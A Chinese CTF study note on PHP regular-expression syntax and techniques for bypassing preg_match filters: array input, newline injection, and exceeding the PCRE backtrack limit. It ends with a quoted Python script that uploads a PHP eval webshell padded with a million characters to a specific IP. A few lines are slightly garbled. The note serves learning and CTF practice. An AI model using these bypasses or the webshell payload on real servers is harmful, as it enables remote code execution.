# 前言
本篇主要用于记录正则表达式和 preg_match 函数的绕过
# preg_match 函数
这个函数可以用来进行字符串规则的匹配,这个函数也是在 ctf 中经常会遇到的一个函数
preg_match ( string $pattern , string $subject [, array &$matches ) |
preg_match_all () - 执行一个全局正则表达式匹配
- $pattern 是匹配规则
- $subjec 是被匹配的字符串
- $matches 提供一个存放匹配结果的数组
demo:
<?php | |
$a="hello php"; | |
preg_match("/php/",$a,$b); | |
var_dump($b); |
# 正则表达式
简单的使用方法,接下来开始聊正则表达式,或许你没写过,但是你肯定用过类似的正则,必然 Linux 中的?* 匹配字符,那么接下来就是无聊的记忆的知识了
来一个简单的例子
[1]+abc$
- ^ 是匹配输入字符串的位置
- [0-9]+ 是匹配多个数字,[0-9] 匹配一个数字,+ 是匹配一个或者多个。
- abc 匹配字母 abc 并以 abc 结尾,$ 为匹配目标字符串的结束位置
# 语法
首先看一看我们常用到的几个匹配符号
比如说 ph+p,这里 + 代表前面的 h 至少出现一次,也就是说可以匹配到 php、phhp、phhhp 等等
<?php
$a="pp php phhp phhhp";
preg_match_all("/ph+p/",$a,$b);
var_dump($b);
这里的 preg_match_all 可以匹配到被匹配字符串的所有符合项,而 preg_match 匹配到第一个就结束了
还是 ph*p 这里是指前面的字符出现任意次,也就是说可以为空,pp、php、phhpd 等等
<?php
$a="pp php phhp phhhp";
preg_match_all("/ph*p/",$a,$b);
var_dump($b);
?
可以这里还是 ph?p,这里指可以出现一次或者零次
,pp、php
<?php
$a="pp php phhp phhhp";
preg_match_all("/ph?p/",$a,$b);
var_dump($b);
[] 用来限制规则,比如说 [a-z] 就是匹配所有的小写字母
<?php
$a="test 129";
preg_match_all("/[a-z0-3]/",$a,$b);
var_dump($b);
{} 用来限制期望字符数,{2-5} 就是指可以有 2-5 个字符长度(这里点不算是一个字符)
<?php
$a="abaaab";
preg_match_all("/a{2}/",$a,$b);
var_dump($b);
(.) 用来匹配所有字符,如果项匹配。可以用 []
<?php
$a="1a";
preg_match_all("/(.)/",$a,$b);
var_dump($b);
# 普通字符
这里的普通字符就是指常见的字符,包括所有大小写字母和数字以及一些符号
上面已经提到 [] 的使用,一般形式匹配 [flag]
[^flag] 是指匹配除了 flag 以外的所有字符
<?php
$a="1f2lxz";
preg_match_all("/[^flag]/",$a,$b);
var_dump($b);
单独一个点会匹配出来换行符以外的任何一个字符
[\s\S] 这里 \s 是匹配所有空白字符 \S 是匹配所有的非空白符,不包括换行
\w 这个等价于 [a-zA-Z0-9_]
在正则中有一个?使用的很多,这里单独再记录一下
如果想匹配表单中的内容我们直接写 /<.*>/ 这样会匹配全部内容
<?php
$a="<h1><script>alert('XSS');</script></h1>";
preg_match_all("/<.*>/",$a,$b);
var_dump($b);
但是我们如果只想知道都使用了什么标签改怎么办呢,这里就可以只用?
<?php
$a="<h1><script>alert('XSS');</script></h1>";
preg_match_all("/<.*?>/",$a,$b);
var_dump($b);
# 定位符
^
从开头开始匹配
$
匹配到结尾位置,常与 ^ 一起使用只匹配一行
\b
匹配一个单词的边界
\B
匹配一个非边界
可能上面简短的几句看起来会很懵,我知道你很急,但你别急,接下来简单的做一些测试
<?php | |
$a="test1 | |
test2"; | |
preg_match_all("/^test123/",$a,$b); | |
var_dump($b); |
如果待匹配开头没有则不能成功匹配
<?php | |
$a="1test1 | |
test2"; | |
preg_match_all("/^test/",$a,$b); | |
var_dump($b); |
然后来试一下 ^ 的作用
<?php | |
$a="test1 | |
test2"; | |
preg_match_all("/^\w{1,109}/",$a,$b); | |
var_dump($b); |
这里 ^ 从开始位置匹配,但是不会匹配到 \n 以后的内容
<?php | |
$a="test1 | |
test2"; | |
preg_match_all("/\w{1,100}$/",$a,$b); | |
var_dump($b); |
从末尾匹配但是不会匹配 \n 之前的内容
<?php | |
$a="test1 | |
test2"; | |
preg_match_all("/^\w{1,100}$/",$a,$b); | |
var_dump($b); |
当两个符号一起使用时只匹配第一行,有 \n 不会匹配
补充:这里进行对照排除 \w 模式的影响
# 修饰符
对于 preg_mach 我跟喜欢称其为模式
i 不区分大小写
<?php
$a="abc ABC";
preg_match_all("/abc/i",$a,$b);
var_dump($b);
g 查找所有的匹配项
这个就相当于 preg_match_all () 函数
m 多行匹配模式
<?php
$a="a
a
a";
preg_match_all("/[a-z]/m",$a,$b);
var_dump($b);
s 使。包含 \n
<?php | |
$a="a | |
a"; | |
preg_match_all("/./m",$a,$b); | |
var_dump($b); |
# 运算符优先级
运算符 | 描述 |
---|---|
\ | 转义符 |
(), (?😃, (?=), [] | 圆括号和方括号 |
*, +, ?, {n}, {n,}, | 限定符 |
^, $, \ 任何元字符、任何字符 | 定位点和序列(即:位置和顺序) |
| | 替换,"或" 操作 字符具有高于替换运算符的优先级,使得 "m|food" 匹配 "m" 或 "food"。若要匹配 "mood" 或 "food",请使用括号创建子表达式,从而产生 "(m|f) ood"。 |
这里分享一个小工具,好评 [正则表达式在线测试 | 菜鸟工具 (runoob.com)](https://c.runoob.com/front-end/854/) |
# preg_match 绕过
正则扯了这么久,现在来说说这个万恶的 preg_match 怎么绕过
# 数组绕过
preg_match 只能处理字符串,当传入的 subject 是数组时会返回 false
<?php | |
$a=array(1,2,3,4,5,6,7,8,9,10); | |
if(!@preg_match("/./m",$a)){ | |
echo "Match found"; | |
} |
# 换行绕过
上面测试也有提到,当 ^$ 同时存在且不是 m 模式的情况下,有换行返回空,且点不会匹配换行
因此面对下面的情况中就能通过换行来绕过正则
<?php | |
$a=$_GET['a']; | |
if(preg_match('/^[a-z0-9]+$/',$a)){ | |
echo "OK"; | |
}else | |
echo "NG"; | |
?> |
这里遇到换行匹配不到
http://127.0.0.1/?a=123%0a
http://127.0.0.1/?a=%0a123
# 回溯次数限制
这里拜读 p 牛的文章 PHP 利用 PCRE 回溯次数限制绕过某些安全限制 | 离别歌 (leavesongs.com)
<?php | |
$a=$_GET['a']; | |
if(@preg_match('/<\?.*[(`;?>].*/is',$a)){ | |
echo "OK"; | |
}else | |
echo "NG"; | |
?> |
对于 demo 中的正则表达式
/<\?.*[(`;?>].*/is |
假设传入 <?php phpinfo ();//aaaaa
传入正则后.* 匹配全部的字符,但是
[(`;?>
没有匹配到东西,于是会吐出一个 a,还是匹配不上,一直回溯到 phpinfo () 后面的;,停止回溯
PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
。我们可以通过 var_dump(ini_get('pcre.backtrack_limit'));
的方式查看当前环境下的上限
可见,回溯次数上限默认是 100 万。如果我们回溯超过 100 万次 preg_match 就会返回 false
大佬的 payload
import requests | |
from io import BytesIO | |
files = { | |
'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000) | |
} | |
res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False) | |
print(res.headers) |
0-9 ↩︎